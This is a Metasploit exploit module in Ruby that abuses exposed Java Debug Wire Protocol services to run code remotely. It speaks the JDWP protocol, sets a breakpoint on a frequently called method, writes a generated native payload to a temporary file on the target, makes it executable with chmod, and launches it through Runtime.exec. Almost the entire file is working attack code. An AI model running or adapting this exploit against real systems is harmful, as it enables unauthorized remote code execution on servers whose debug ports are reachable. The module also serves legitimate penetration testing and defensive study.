##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper


  HANDSHAKE                 = "JDWP-Handshake"

  REQUEST_PACKET_TYPE       = 0x00
  REPLY_PACKET_TYPE         = 0x80

  # Command signatures
  VERSION_SIG               = [1, 1]
  CLASSESBYSIGNATURE_SIG    = [1, 2]
  ALLCLASSES_SIG            = [1, 3]
  ALLTHREADS_SIG            = [1, 4]
  IDSIZES_SIG               = [1, 7]
  CREATESTRING_SIG          = [1, 11]
  SUSPENDVM_SIG             = [1, 8]
  RESUMEVM_SIG              = [1, 9]
  SIGNATURE_SIG             = [2, 1]
  FIELDS_SIG                = [2, 4]
  METHODS_SIG               = [2, 5]
  GETVALUES_SIG             = [2, 6]
  CLASSOBJECT_SIG           = [2, 11]
  INVOKESTATICMETHOD_SIG    = [3, 3]
  CREATENEWINSTANCE_SIG     = [3, 4]
  REFERENCETYPE_SIG         = [9, 1]
  INVOKEMETHOD_SIG          = [9, 6]
  STRINGVALUE_SIG           = [10, 1]
  THREADNAME_SIG            = [11, 1]
  THREADSUSPEND_SIG         = [11, 2]
  THREADRESUME_SIG          = [11, 3]
  THREADSTATUS_SIG          = [11, 4]
  EVENTSET_SIG              = [15, 1]
  EVENTCLEAR_SIG            = [15, 2]
  EVENTCLEARALL_SIG         = [15, 3]

  # Other codes
  MODKIND_COUNT             = 1
  MODKIND_THREADONLY        = 2
  MODKIND_CLASSMATCH        = 5
  MODKIND_LOCATIONONLY      = 7
  EVENT_BREAKPOINT          = 2
  SUSPEND_EVENTTHREAD       = 1
  SUSPEND_ALL               = 2
  NOT_IMPLEMENTED           = 99
  VM_DEAD                   = 112
  INVOKE_SINGLE_THREADED    = 2
  TAG_OBJECT                = 76
  TAG_STRING                = 115
  TYPE_CLASS                = 1
  TAG_ARRAY                 = 91
  TAG_VOID                  = 86


  def initialize
    super(
      'Name'           => 'Java Debugging Wire Protocol Scanner',
      'Description'    => %q{
        This module abuses exposed Java Debugging Wire Protocol services in order
        to execute code remotely.
      },
      'Author'         => [
        'Christophe Alladoum', # Exploit
        'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
      ],
      'References'     =>
        [
          ['http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
          ['http://www.exploit-db.com/papers/27179/'],
          ['https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
          ['http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
        ],
      'DisclosureDate' => 'May 29 2014',
      'License'        => MSF_LICENSE,
      'Platform'       => %w{ linux win },
      'Privileged'     => true,
      'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ]
        ],
      'DefaultTarget' => 1
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptInt.new('STATUS_EVERY', [true, 'How many iterations until status', 1000]),
        OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
        OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Ensure there is a trailing slash', nil])
      ], self.class)

    register_advanced_options(
      [
        OptString.new('BREAK_CLASS', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]),
        OptInt.new('BREAK_AUTOHIT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection', nil ]),
        OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]),
        OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10])
      ], self.class)
  end

  def check
    connect

    vprint_status("#{peer} - Checking for Java Debugging Wire Protocol")

    res = handshake

    disconnect

    unless res
      vprint_error("Unable to determine due to a connection timeout")
      return Exploit::CheckCode::Unknown
    end

    return Exploit::CheckCode::Appears if res == HANDSHAKE

    return Exploit::CheckCode::Safe

  end


  def peer
    return "#{rhost}:#{rport}"
  end

  # Establishes handshake with the server
  def handshake
    sock.put(HANDSHAKE)

    return sock.get(datastore['RESPONSE_TIMEOUT'])

  end

  # Forges packet for JDWP protocol
  def create_packet(cmdsig, data="")
    flags = 0x00

    cmdset, cmd = cmdsig

    pktlen = data.length + 11

    buf = [pktlen, @my_id, flags, cmdset, cmd]

    pkt = buf.pack("NNCCC")

    pkt << data

    @my_id += 2

    return pkt
  end

  # Reads packet response for JDWP protocol
  def read_reply(timeout)

    response = sock.get(timeout)

    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response

    pktlen,id,flags,errcode = response.unpack('NNCn')

    response.slice!(0..10)

    fail_with(Failure::Unknown, "Server sent error with code #{errcode}") if (errcode != 0) && (flags == REPLY_PACKET_TYPE)

    return response
  end

  # Returns the characters contained in the string defined in target VM
  def solve_string(data)

    sock.put(create_packet(STRINGVALUE_SIG, data))

    response = read_reply(datastore['RESPONSE_TIMEOUT'])

    return "" unless response

    return read_string(response)

  end

  # Unpacks received string structure from the server response into a normal string
  def read_string(data)

    data_len = data.unpack('N')[0]

    data.slice!(0..3)

    return data.slice!(0,data_len)

  end

  # Creates a new string object in the target VM and returns its id
  def create_string(data)
    buf = build_string(data)

    sock.put(create_packet(CREATESTRING_SIG, buf))

    buf = read_reply(datastore['RESPONSE_TIMEOUT'])

    return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)

  end

  # Packs normal string into string structure for target VM
  def build_string(data)
    ret = [data.length].pack('N')
    ret << data

    return ret

  end


  # Pack Fixnum for JDWP protocol
  def format(fmt, value)
    if fmt == "L" || fmt == 8
      return [value].pack('Q>')
    elsif fmt == "I" || fmt == 4
      return [value].pack('N')
    end

    fail_with(Failure::Unknown, "Unknown format")

  end

  # Unpack Fixnum from JDWP protocol
  def unformat(fmt, value)
    if fmt == "L" || fmt == 8
      return value[0..7].unpack('Q>')[0]
    elsif fmt == "I" || fmt == 4
      return value[0..3].unpack('N')[0]
    end

    fail_with(Failure::Unknown, "Unknown format")
  end

  # Parses given data according to a set of formats
  def parse_entries(buf, formats, explicit=true)
    entries = []

    if explicit
      nb_entries = buf.unpack('N')[0]
      buf.slice!(0..3)
    else
      nb_entries = 1
    end

    nb_entries.times do |var|

      print_status("#{peer} - #{Time.now.getutc} - Parsed #{var} classes of #{nb_entries}") if var != 0 && var % datastore['STATUS_EVERY'] == 0

      data = {}

      formats.each do |fmt,name|
        if fmt == "L" or fmt == 8
          data[name] = buf.unpack('Q>')[0]
          buf.slice!(0..7)
        elsif fmt == "I" or fmt == 4
          data[name] = buf.unpack('N')[0]
          buf.slice!(0..3)
        elsif fmt == "S"
          data_len = buf.unpack('N')[0]
          buf.slice!(0..3)
          data[name] = buf.slice!(0,data_len)
        elsif fmt == "C"
          data[name] = buf.unpack('C')[0]
          buf.slice!(0)
        elsif fmt == "Z"
          t = buf.unpack('C')[0]
          buf.slice!(0)
          if t == 115
            data[name] = solve_string(buf.slice!(0..7))
          elsif t == 73
            data[name], buf = buf.unpack('NN')
          end
        else
          fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
        end

      end
      entries.append(data)
    end

    return entries
  end


  # Gets the sizes of variably-sized data types in the target VM
  def idsizes

    sock.put(create_packet(IDSIZES_SIG))
    response = read_reply(datastore['RESPONSE_TIMEOUT'])

    formats = [
      ["I", "fieldid_size"],
      ["I", "methodid_size"],
      ["I", "objectid_size"],
      ["I", "referencetypeid_size"],
      ["I", "frameid_size"]
    ]

    entries = parse_entries(response, formats, false)

    entries.each { |e| @vars.merge!(e) }

  end


  # Gets the JDWP version implemented by the target VM
  def get_version

    sock.put(create_packet(VERSION_SIG))

    response = read_reply(datastore['RESPONSE_TIMEOUT'])

    formats = [
      ["S", "descr"],
      ["I", "jdwp_major"],
      ["I", "jdwp_minor"],
      ["S", "vm_version"],
      ["S", "vm_name"]
    ]

    entries = parse_entries(response, formats, false)

    entries.each { |e| @vars.merge!(e) }

  end


  def version
    return "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
  end


  # Returns reference types for all classes currently loaded by the target VM
  def get_all_classes

    return unless @classes.empty?

    sock.put(create_packet(ALLCLASSES_SIG))

    response = read_reply(datastore['RESPONSE_TIMEOUT'])

    formats = [
      ["C", "reftype_tag"],
      [@vars["referencetypeid_size"], "reftype_id"],
      ["S", "signature"],
      ["I", "status"]
    ]

    print_status("#{peer} - Parsing list of classes...")

    @classes.append(parse_entries(response, formats))

  end

  # Checks if specified class is currently loaded by the target VM and returns it
  def get_class_by_name(name)

    @classes.each do |entry_array|

      entry_array.each do |entry|

        return entry if entry["signature"].downcase == name.downcase
      end
    end

    nil
  end

  # Returns information for each method in a reference type (ie. object). Inherited methods are not included.
  # The list of methods will include constructors (identified with the name "<init>")
  def get_methods(reftype_id)

    unless @methods.has_key?(reftype_id)

      refid = format(@vars["referencetypeid_size"],reftype_id)

      sock.put(create_packet(METHODS_SIG, refid))

      response = read_reply(datastore['RESPONSE_TIMEOUT'])

      formats = [
        [@vars["methodid_size"], "method_id"],
        ["S", "name"],
        ["S", "signature"],
        ["I", "mod_bits"]
      ]

      @methods[reftype_id] = parse_entries(response, formats)

    end

    return @methods[reftype_id]
  end

  # Checks if specified method is currently loaded by the target VM and returns it
  def get_method_by_name(classname, name, signature = nil)

    @methods[classname].each do |entry|
        if signature.nil?
          return entry if entry["name"].downcase == name.downcase
        else
          return entry if (entry["name"].downcase == name.downcase) && (entry["signature"].downcase == signature.downcase)
        end
    end

    nil
  end


  # Checks if specified class and method are currently loaded by the target VM and returns them
  def get_class_and_method(looked_class, looked_method, signature = nil)

    target_class = get_class_by_name(looked_class)

    fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class

    get_methods(target_class["reftype_id"])

    target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)

    fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method

    return target_class, target_method

  end


  # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
  def str2fqclass(s)

    i = s.rindex(".")

    fail_with(Failure::BadConfig, 'Bad defined break class') unless i

    method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string

    classname = 'L'
    classname << s[0..i-1].gsub(/[.]/, '/')
    classname << ';'

    return classname, method

  end


  # Resumes execution of the application after the suspend command or an event has stopped it
  def resume_vm
    sock.put(create_packet(RESUMEVM_SIG))
    response = read_reply(datastore['RESPONSE_TIMEOUT'])

    fail_with(Exploit::Failure::Unknown, "No network response") unless response
  end


  # Sets an event request. When the event described by this request occurs, an event is sent from the target VM
  def send_event(event_code, args)

    data = [event_code].pack('C')
    data << [SUSPEND_ALL].pack('C')
    data << [args.length].pack('N')

    args.each do |kind,option|

      data << [kind].pack('C')
      data << option

    end

    sock.put(create_packet(EVENTSET_SIG, data))

    response = read_reply(datastore['RESPONSE_TIMEOUT'])

    fail_with(Exploit::Failure::Unknown, "No network response") unless response

    return response.unpack('N')[0]

  end


  # Waits user defined time for an event sent from the target VM (or force event if possible)
  def wait_for_event

    force_net_event unless datastore['BREAK_AUTOHIT_PORT'].nil? || (datastore['BREAK_AUTOHIT_PORT'] == 0)

    buf = read_reply(datastore['BREAK_TIMEOUT'])

    return buf
  end


  # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
  def force_net_event

    vprint_status("#{peer} - Forcing network event over #{datastore['BREAK_AUTOHIT_PORT']}")

    rex_socket = Rex::Socket::Tcp.create(
            'PeerHost' => rhost,
            'PeerPort' => datastore['BREAK_AUTOHIT_PORT'],
    )

    rex_socket.put(rand_text_alphanumeric(4 + rand(4)))

    rex_socket.shutdown

  end


  # Parses a received event and compares it with the expected
  def parse_event_breakpoint(buf, event_id)

    r_id = buf[6..9].unpack('N')[0]

    return nil unless event_id == r_id

    len = @vars["objectid_size"]

    t_id = unformat(len,buf[10..10+len-1])

    return r_id, t_id

  end


  # Clear a defined event request
  def clear_event(event_code, r_id)
    data = [event_code].pack('C')
    data << [r_id].pack('N')

    sock.put(create_packet(EVENTCLEAR_SIG, data))

    read_reply(datastore['RESPONSE_TIMEOUT'])
  end


  # Invokes a static method. The method must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
  def invoke_static(class_id, thread_id, meth_id, args = [])

    data = format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|

      data << arg
      data << [0].pack('N')

    end

    sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))

    buf = read_reply(datastore['RESPONSE_TIMEOUT'])

    return buf

  end


  # Invokes a instance method. The method must be member of the object's type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
  def invoke(obj_id, thread_id, class_id, meth_id, args = [])

    data = format(@vars["objectid_size"], obj_id)
    data << format(@vars["objectid_size"], thread_id)

    data << format(@vars["referencetypeid_size"], class_id)

    data << format(@vars["methodid_size"], meth_id)

    data << [args.length].pack('N')

    args.each do |arg|

      data << arg
      data << [0].pack('N')

    end

    sock.put(create_packet(INVOKEMETHOD_SIG, data))

    buf = read_reply(datastore['RESPONSE_TIMEOUT'])

    return buf

  end


  # Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
  def create_instance(class_id, thread_id, meth_id, args = [])

    data = format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|

      data << arg
      data << [0].pack('N')

    end

    sock.put(create_packet(CREATENEWINSTANCE_SIG, data))

    buf = read_reply(datastore['RESPONSE_TIMEOUT'])

    return buf

  end


  def temp_path
    return nil unless datastore['TMP_PATH']
    unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
      fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
    end
    datastore['TMP_PATH']
  end


  # Configures payload according to targeted architecture
  def setup_payload

    # 1. Setting up generic values.
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    pl_exe = generate_payload_exe

    # 2. Setting up arch specific...
    case target['Platform']
    when 'linux'
      path = temp_path || '/tmp/'
      payload_exe = "#{path}#{payload_exe}"
    when 'windows'
      path = temp_path || './'
      payload_exe = "#{path}#{payload_exe}.exe"
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform')
    end


    return payload_exe, pl_exe
  end

  # Invokes java.lang.System.getProperty() for OS fingerprinting purposes
  def fingerprint_os(thread_id)

    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the property to be getted
    cmd_obj_ids = create_string("os.name")

    fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets property
    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)

    data_array = [data]

    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")

    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)

    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')

    str = unformat(size, buf[1..1+size-1])

    @os = solve_string(format(@vars["objectid_size"],str))

  end

  # Creates a file on the server given a execution thread
  def create_file(thread_id, filename)

    cmd_obj_ids = create_string(filename)

    fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    size = @vars["objectid_size"]

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)

    data_array = [data]

    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")

    buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)

    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')

    file = unformat(size, buf[1..1+size-1])

    fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)

    register_files_for_cleanup(filename)

    return file

  end


  # Stores the payload on a new string created in target VM
  def upload_payload(thread_id, pl_exe)

    size = @vars["objectid_size"]

    runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")

    buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])

    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')

    decoder = unformat(size, buf[1..1+size-1])

    fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0)

    cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")

    fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)

    data_array = [data]

    runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")

    buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)

    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C')

    pl = unformat(size, buf[1..1+size-1])

    return pl

  end

  # Dumps the payload on a opened server file given a execution thread
  def dump_payload(thread_id, file, pl)

    size = @vars["objectid_size"]

    data = [TAG_OBJECT].pack('C')
    data << format(size, pl)

    data_array = [data]

    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")

    buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)

    fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C')

  end

  # Closes a file on the server given a execution thread
  def close_file(thread_id, file)

    size = @vars["objectid_size"]

    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")

    buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])

    fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C')

  end


  # Executes a system command on target VM making use of java.lang.Runtime.exec()
  def execute_command(thread_id, cmd)

    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the command to be executed
    cmd_obj_ids = create_string(cmd)

    fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets Runtime context
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")

    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])

    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')

    rt = unformat(size, buf[1..1+size-1])

    fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0)

    # 3. Finds and executes "exec" method supplying the string with the command
    exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")

    fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil?

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)

    data_array = [data]

    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)

    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')

  end


  # Sets a breakpoint on frequently called method (user-defined)
  def set_breakpoint

    vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAK_CLASS']}")

    # 1. Gets reference of the method where breakpoint is going to be setted
    classname, method = str2fqclass(datastore['BREAK_CLASS'])

    break_class = get_class_by_name(classname)

    fail_with(Failure::NotFound, "Could not access #{datastore['BREAK_CLASS']}, probably is not used by the application") unless break_class

    get_methods(break_class["reftype_id"])

    m = get_method_by_name(break_class["reftype_id"], method)

    fail_with(Failure::BadConfig, "Method of Break Class not found") unless m

    # 2. Sends event request for this method
    loc = [TYPE_CLASS].pack('C')
    loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
    loc << format(@vars["methodid_size"], m["method_id"])
    loc << [0,0].pack('NN')

    data = [[MODKIND_LOCATIONONLY, loc]]

    r_id = send_event(EVENT_BREAKPOINT, data)

    fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id

    return r_id
  end


  # Uploads & executes the payload on the target VM
  def exec_payload(thread_id)

    # 0. Fingerprinting OS
    fingerprint_os(thread_id)

    vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")

    # 1. Prepares the payload
    payload_exe, pl_exe = setup_payload

    # 2. Creates file on server for dumping payload
    file = create_file(thread_id, payload_exe)

    # 3. Uploads payload to the server
    pl = upload_payload(thread_id, pl_exe)

    # 4. Dumps uploaded payload into file on the server
    dump_payload(thread_id, file, pl)

    # 5. Closes the file on the server
    close_file(thread_id, file)

    # 5b. When linux arch, give execution permissions to file
    cmd = "chmod +x #{payload_exe}"
    execute_command(thread_id, cmd) if target['Platform'] == 'linux'

    # 6. Executes the dumped payload
    cmd = "#{payload_exe}"
    execute_command(thread_id, cmd)

  end


  def exploit

    @my_id = 0x01
    @vars = {}
    @classes = []
    @methods = {}
    @os = nil


    fail_with(Failure::NotVulnerable, "#{peer} - Doesn't seem to be vulnerable") if check == Exploit::CheckCode::Safe

    # To avoid connection refused due to previously opened connection during check
    Rex::sleep(1)

    connect

    fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the handshake") unless handshake == HANDSHAKE

    # 1. Get the sizes of variably-sized data types in the target VM
    idsizes

    # 2. Get the version of the target VM
    get_version

    # 3. Get all currently loaded classes by the target VM
    get_all_classes

    # 4. Sets a breakpoint on frequently called method (user-defined)
    r_id = set_breakpoint

    # 5. Resume VM and wait for event
    resume_vm

    secs = datastore['BREAK_TIMEOUT']

    ret = ""

    datastore['NUM_RETRIES'].times do |i|

      print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")

      buf = wait_for_event

      ret = parse_event_breakpoint(buf, r_id)

      break unless ret.nil?

    end

    r_id, t_id = ret

    vprint_status("#{peer} - Received matching event from thread #{t_id}")

    # 6. Clears event
    clear_event(EVENT_BREAKPOINT, r_id)

    # 7. Drop & execute payload
    exec_payload(t_id)

    resume_vm

    disconnect

  end
end